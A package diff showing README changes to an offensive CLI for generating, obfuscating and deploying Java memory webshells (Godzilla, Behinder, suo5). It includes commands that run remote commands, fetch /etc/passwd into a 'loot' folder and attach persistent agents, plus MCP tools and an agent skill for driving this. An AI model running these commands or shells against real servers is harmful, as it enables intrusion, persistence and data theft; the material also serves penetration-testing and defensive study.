memshell-party-cli 0.7.0 → 0.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +70 -11
- package/README.md +36 -2
- package/dist/cli.js +1095 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +122 -11
- package/dist/index.js +1207 -212
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +547 -494
package/README.en.md
CHANGED
|
@@ -19,6 +19,7 @@ same HTTP API that powers `party.mem.mk/ui`.
|
|
|
19
19
|
with auto-saved target names ready to reuse.
|
|
20
20
|
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
21
21
|
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
22
|
+
- **Bytecode tools** — decode, rename, relocate, instrument, obfuscate and pack arbitrary `.class` files.
|
|
22
23
|
- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
|
|
23
24
|
is alive and the credentials work (echo/handshake round-trip).
|
|
24
25
|
- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
|
|
@@ -106,12 +107,30 @@ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
|
106
107
|
--godzilla-pass pass --godzilla-key key -o shell.class --json
|
|
107
108
|
```
|
|
108
109
|
|
|
109
|
-
`--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
|
|
110
|
+
`--jdk` accepts `java6/8/9/11/17/21/25`, a bare number (`8`), or a raw class-file major version (`52`).
|
|
110
111
|
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
112
|
+
On v3, parent packers (e.g. `Base64`) are categories, not aggregate generators: pick a concrete
|
|
113
|
+
variant such as `DefaultBase64`. Legacy v2 aggregate results are still supported, but `-o` refuses
|
|
114
|
+
multiple variants. Combining `-o` with `--json` writes the file and adds
|
|
115
|
+
`outputFile: {destination, size, decoded}` to the JSON document. v3 also supports `--obfuscate`,
|
|
116
|
+
`--obfuscation-options key=value,...`, and `--obfuscation-scope` (memshell only).
|
|
117
|
+
|
|
118
|
+
For built-in and external plugin fields not covered by a dedicated flag, repeat
|
|
119
|
+
`--tool-option name=value`, or pass `--tool-config <json|path>`. v3.1 `object` fields take JSON
|
|
120
|
+
objects directly. `--tool-config` can be inline JSON or a file path; `--tool-option` overrides
|
|
121
|
+
matching JSON-file keys and legacy convenience flags:
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
|
|
125
|
+
--tool-option mode=fast \
|
|
126
|
+
--tool-option 'target={"id":"web-1","name":"Web"}'
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
The wizard discovers plugin `string`, `enum`, and `object` parameters from the backend. For
|
|
130
|
+
v3.1 `remote-select` fields, it fetches the supplied HTTP(S) JSON endpoint and submits the
|
|
131
|
+
selected ID for a string field or the complete object for an object field. A sole remote field
|
|
132
|
+
selects its first option automatically. Set the environment variable named by `urlQueryParam`
|
|
133
|
+
to avoid entering the endpoint; generation never fetches it again on the backend.
|
|
115
134
|
|
|
116
135
|
### Discovering options
|
|
117
136
|
|
|
@@ -120,13 +139,23 @@ memparty config servers # servers and their shell types
|
|
|
120
139
|
memparty config tools Tomcat # tools + types for one server
|
|
121
140
|
memparty config packers # packer parent/child tree
|
|
122
141
|
memparty config command # Command encryptors & implementation classes
|
|
142
|
+
memparty config tool-configs # v3 tool parameters and enum options
|
|
143
|
+
memparty config obfuscation # v3 obfuscation option reference
|
|
144
|
+
memparty config plugins # v3.1 plugin metadata, SPI services and load status
|
|
145
|
+
memparty config remote-options PluginTool target --url https://example.com/options --json
|
|
123
146
|
memparty config servers --json # machine-readable
|
|
124
147
|
```
|
|
125
148
|
|
|
149
|
+
`config tool-configs` describes remote metadata as `ui.kind=remote-select`; `config remote-options`
|
|
150
|
+
returns `{label, value}` choices ready to submit. If `--url` is omitted, it reads the environment
|
|
151
|
+
variable named by the field's `urlQueryParam`. Plugin `validate()` errors are returned unchanged
|
|
152
|
+
by the API; the CLI does not hide or retry them.
|
|
153
|
+
|
|
126
154
|
### Probe shells
|
|
127
155
|
|
|
128
156
|
```bash
|
|
129
157
|
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
|
|
158
|
+
memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
|
|
130
159
|
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
131
160
|
```
|
|
132
161
|
|
|
@@ -136,7 +165,10 @@ Probe method × content matrix (only these combos are supported by the backend):
|
|
|
136
165
|
|-------------|-------------------------|
|
|
137
166
|
| `DNSLog` | `Server`, `JDK` |
|
|
138
167
|
| `Sleep` | `Server` |
|
|
139
|
-
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
168
|
+
| `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
169
|
+
|
|
170
|
+
`ResponseHeader` is v3+. Use `--resp-header-name` to set the response header; `--server Unknown`
|
|
171
|
+
discovers the middleware and requires `--req-param-name` to identify the live request.
|
|
140
172
|
|
|
141
173
|
### Testing a deployed shell
|
|
142
174
|
|
|
@@ -157,7 +189,7 @@ memparty connect -u http://target/suo5.jsp -t suo5
|
|
|
157
189
|
|
|
158
190
|
Shells generated by MemShellParty are gated by an auth header — the values are in the
|
|
159
191
|
`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
|
|
160
|
-
(the
|
|
192
|
+
(the Suo5 shell checks it too):
|
|
161
193
|
|
|
162
194
|
```bash
|
|
163
195
|
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
@@ -167,6 +199,28 @@ memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
|
167
199
|
Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
|
|
168
200
|
`--json` for machine-readable output, `--timeout <ms>` (global option).
|
|
169
201
|
|
|
202
|
+
Use `ws://` / `wss://` for Godzilla WebSocket and RawWebSocket shells. Tomcat Upgrade keeps an
|
|
203
|
+
HTTP URL and requires `--upgrade-protocol <fully-qualified-shell-class-name>`; it is saved with
|
|
204
|
+
named targets. Generate `GodzillaSession` with its own tool name, then connect with `-t godzilla`;
|
|
205
|
+
the client relays the HTTP session cookie.
|
|
206
|
+
|
|
207
|
+
### Agent arguments and bytecode tools
|
|
208
|
+
|
|
209
|
+
`--agent-args persist=true` and `--agent-args restore=true` are load-time Agent arguments, not
|
|
210
|
+
generation DTO fields. The CLI and MCP return both `java -jar agent.jar <pid> persist=true` and
|
|
211
|
+
`jattach <pid> load instrument false agent.jar=persist=true` examples; use `restore=true` to restore.
|
|
212
|
+
|
|
213
|
+
```bash
|
|
214
|
+
memparty bytecode decode -f Payload.class
|
|
215
|
+
memparty bytecode transform -f Payload.class \
|
|
216
|
+
--relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
|
|
217
|
+
memparty bytecode transform -f Payload.class --server Tomcat \
|
|
218
|
+
--probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
Input can also be a Base64 argument or stdin. With no packer, `-o` writes the transformed class;
|
|
222
|
+
otherwise it writes the packed result. The MCP equivalents are `bytecode_decode` and `bytecode_transform`.
|
|
223
|
+
|
|
170
224
|
### Executing commands on a deployed shell
|
|
171
225
|
|
|
172
226
|
`memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
|
|
@@ -306,10 +360,10 @@ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
|
|
|
306
360
|
|
|
307
361
|
```bash
|
|
308
362
|
# Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
|
|
309
|
-
memparty gen -s SpringWebMvc -t Command -y Interceptor -p
|
|
363
|
+
memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpELScriptEngine \
|
|
310
364
|
--command-param-name cmd --jdk java8
|
|
311
365
|
# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
|
|
312
|
-
#
|
|
366
|
+
# On v3, SpEL/OGNL/JXPath are categories; choose a concrete child packer.
|
|
313
367
|
```
|
|
314
368
|
|
|
315
369
|
### 6. Drop a JSP file
|
|
@@ -373,7 +427,7 @@ Example Claude Code / Claude Desktop config:
|
|
|
373
427
|
```
|
|
374
428
|
|
|
375
429
|
Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
|
|
376
|
-
`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
|
|
430
|
+
`list_shell_tool_configs`, `list_plugins`, `list_remote_options`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
|
|
377
431
|
`exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
|
|
378
432
|
`target_remove`, `log_list`.
|
|
379
433
|
|
|
@@ -382,11 +436,16 @@ optional `outputFile` argument to also write it to a local file (base64 auto-dec
|
|
|
382
436
|
`.class`/`.jar`/`.zip`/`.ser`/`.bin`), and the response gains an `outputFile` field with the
|
|
383
437
|
write result.
|
|
384
438
|
|
|
439
|
+
`generate_memshell` also accepts `toolOptions`: a map of arbitrary shell-tool names to string
|
|
440
|
+
values or JSON objects, including v3.1 plugin parameters. `toolOptionJson` is the string-encoded
|
|
441
|
+
alternative for object fields. Use `list_shell_tool_configs` to discover fields and
|
|
442
|
+
`list_remote_options` to resolve remote dropdowns before generation.
|
|
443
|
+
|
|
385
444
|
## AI skill
|
|
386
445
|
|
|
387
446
|
The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
|
|
388
447
|
type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
|
|
389
|
-
common gotchas such as Jakarta vs javax, JDK targeting,
|
|
448
|
+
common gotchas such as Jakarta vs javax, JDK targeting, packer categories vs concrete variants).
|
|
390
449
|
|
|
391
450
|
Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
|
|
392
451
|
picks the skill up):
|
package/README.md
CHANGED
|
@@ -12,6 +12,7 @@
|
|
|
12
12
|
|------|------|
|
|
13
13
|
| **生成内存马** | 约 17 种中间件/框架(Tomcat、Jetty、JBoss、WebLogic、SpringWebMvc、Undertow、Resin、Struts2…),9 种工具(哥斯拉、冰蝎、蚁剑、Command、suo5、NeoreGeorg、Proxy、自定义 class),Listener/Filter/Servlet/Agent 等多种挂载方式,60+ 种打包器(Base64、JSP、反序列化链、SpEL/OGNL 表达式注入、AgentJar…) |
|
|
14
14
|
| **盲探测 probe** | 不知道目标是什么中间件时,先用 DNSLog / Sleep / 回显探测服务器类型和 JDK 版本 |
|
|
15
|
+
| **字节码工具** | 解码任意 class,改名、包名替换、添加入口方法、混淆、回显 Wrapper 和打包 |
|
|
15
16
|
| **连马验证 connect** | 用真实协议握手验证马是否存活、密码对不对(哥斯拉/冰蝎/suo5/mimic) |
|
|
16
17
|
| **执行命令 exec** | 在已部署的哥斯拉/冰蝎马上执行命令,自动识别 Windows/Linux |
|
|
17
18
|
| **传文件 upload/download** | 大文件自动分块,传完校验完整性(哥斯拉比大小、冰蝎比 MD5) |
|
|
@@ -140,6 +141,7 @@ memparty skill install --user --claude
|
|
|
140
141
|
|------|--------|
|
|
141
142
|
| `memparty gen` | 生成内存马(不带参数进入交互向导) |
|
|
142
143
|
| `memparty probe` | 生成探测马,盲测目标中间件/JDK |
|
|
144
|
+
| `memparty bytecode` | 解码、转换和打包任意 `.class` |
|
|
143
145
|
| `memparty connect` | 验证马是否存活、凭据对不对 |
|
|
144
146
|
| `memparty exec` | 在马上执行命令 |
|
|
145
147
|
| `memparty upload` / `download` | 通过马上传/下载文件 |
|
|
@@ -172,11 +174,29 @@ memparty exec web1 --cmd "whoami"
|
|
|
172
174
|
memparty download web1 /etc/passwd -o loot/passwd
|
|
173
175
|
```
|
|
174
176
|
|
|
175
|
-
|
|
177
|
+
生成时的几个细节:
|
|
176
178
|
|
|
177
179
|
- `-o` 和 `--json` 可以同时用:文件照常写盘,JSON 里多一个 `outputFile` 字段(路径、大小、是否解码)。
|
|
178
|
-
-
|
|
180
|
+
- v3 中 `Base64` 等父项只是 packer 分类,要选具体变体(如 `DefaultBase64`);旧 v2 后端仍支持聚合 packer,但不能配 `-o`。
|
|
181
|
+
- v3 支持 `--obfuscate`、`--obfuscation-options key=value,...`、`--obfuscation-scope`(仅内存马)和 `--jdk java25`。
|
|
182
|
+
- v3.1 插件参数可用重复的 `--tool-option name=value` 或 `--tool-config <json|path>` 传入;`object` 类型直接写 JSON 对象。`tool-option` 覆盖同名的旧参数及 `tool-config` 字段。
|
|
183
|
+
- 插件的远程下拉字段可用 `memparty config remote-options <tool> <param> --url <endpoint>` 查询;交互向导会拉取选项,`string` 字段提交 ID,`object` 字段提交完整对象。
|
|
184
|
+
- 探测支持 `-m ResponseHeader`;可用 `--resp-header-name` 指定回显头,未知中间件时 `--server Unknown`。
|
|
179
185
|
- 走 MCP 时,`generate_memshell` / `generate_probe` 有个 `outputFile` 参数,效果同上。
|
|
186
|
+
- Agent 加载参数使用 `--agent-args persist=true` 或 `--agent-args restore=true`;它是 attach 参数,不会发送给生成 API。JSON 和终端会给出 `java -jar agent.jar <pid> persist=true`、`jattach <pid> load instrument false agent.jar=persist=true` 示例。
|
|
187
|
+
- 哥斯拉 WebSocket / RawWebSocket 使用 `ws://` 或 `wss://` 地址;Tomcat Upgrade 使用 HTTP 地址并加 `--upgrade-protocol <shellClassName>`。`GodzillaSession` 生成后仍选 `-t godzilla` 连接,客户端会保留会话 Cookie。
|
|
188
|
+
|
|
189
|
+
### 字节码转换
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
memparty bytecode decode -f Payload.class
|
|
193
|
+
memparty bytecode transform -f Payload.class \
|
|
194
|
+
--relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
|
|
195
|
+
memparty bytecode transform -f Payload.class --server Tomcat \
|
|
196
|
+
--probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
也支持 Base64 参数或标准输入。`-o` 在没有 packer 时写转换后的 class;有 packer 时写打包结果。MCP 对应 `bytecode_decode` / `bytecode_transform`。
|
|
180
200
|
|
|
181
201
|
拿不准有哪些合法取值,直接问后端(这些名字就是参数里要填的值):
|
|
182
202
|
|
|
@@ -184,8 +204,22 @@ memparty download web1 /etc/passwd -o loot/passwd
|
|
|
184
204
|
memparty config servers # 支持哪些中间件
|
|
185
205
|
memparty config tools Tomcat # 这个中间件支持哪些工具和挂载类型
|
|
186
206
|
memparty config packers # 打包器列表(按投放方式选)
|
|
207
|
+
memparty config tool-configs # v3 各工具的参数名和枚举值
|
|
208
|
+
memparty config obfuscation # v3 混淆参数参考
|
|
209
|
+
memparty config plugins # v3.1 外置插件、SPI 和加载状态
|
|
210
|
+
memparty config remote-options PluginTool target --url https://example.com/options --json
|
|
187
211
|
```
|
|
188
212
|
|
|
213
|
+
插件生成示例:
|
|
214
|
+
|
|
215
|
+
```bash
|
|
216
|
+
memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
|
|
217
|
+
--tool-option mode=fast \
|
|
218
|
+
--tool-option 'target={"id":"web-1","name":"Web"}'
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
`config tool-configs` 的 `ui.kind=remote-select` 表示远程字段,`urlQueryParam` 是同名的环境变量名;没有 `--url` 时会读这个环境变量。后端参数校验错误会原样返回,不会被 CLI 自动重试。
|
|
222
|
+
|
|
189
223
|
每个命令都能加 `--help` 看详细参数和例子;完整参数参考见 [英文 README](README.en.md)。
|
|
190
224
|
|
|
191
225
|
## 后端:真实测试建议自建
|